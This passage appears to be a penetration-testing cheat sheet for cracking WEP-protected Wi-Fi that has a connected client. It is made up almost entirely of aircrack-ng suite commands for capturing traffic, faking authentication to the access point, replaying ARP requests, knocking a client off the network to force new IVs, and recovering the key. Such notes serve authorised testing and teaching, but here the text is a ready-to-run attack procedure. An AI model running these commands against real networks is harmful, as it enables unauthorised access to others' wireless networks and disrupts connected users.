with connected client

Capture + output as wep-01.pcap

# -c channel -w output filename = recon-0#
sudo airodump-ng -c # --essid AP_NAME --bssid XX:XX:XX:XX:XX:XX -w wep --output-format pcap wlan0mon

Attack

Conduct a fake authentication attack against the AP

aireplay-ng -1 0 -e <ESSID> -a <AP MAC> -h <Your MAC> <interface>

Launch the ARP request replay attack:

aireplay-ng -3 -b <AP MAC> -h <Your MAC> <interface>

Deauthenticate the connected client to force new IV generation by the AP:

aireplay-ng -0 1 -a <AP MAC> -c <Client MAC> <interface>

Once a significant number of IVs have been captured, run Aircrack-ng against the Airodump capture:

aircrack-ng <capture>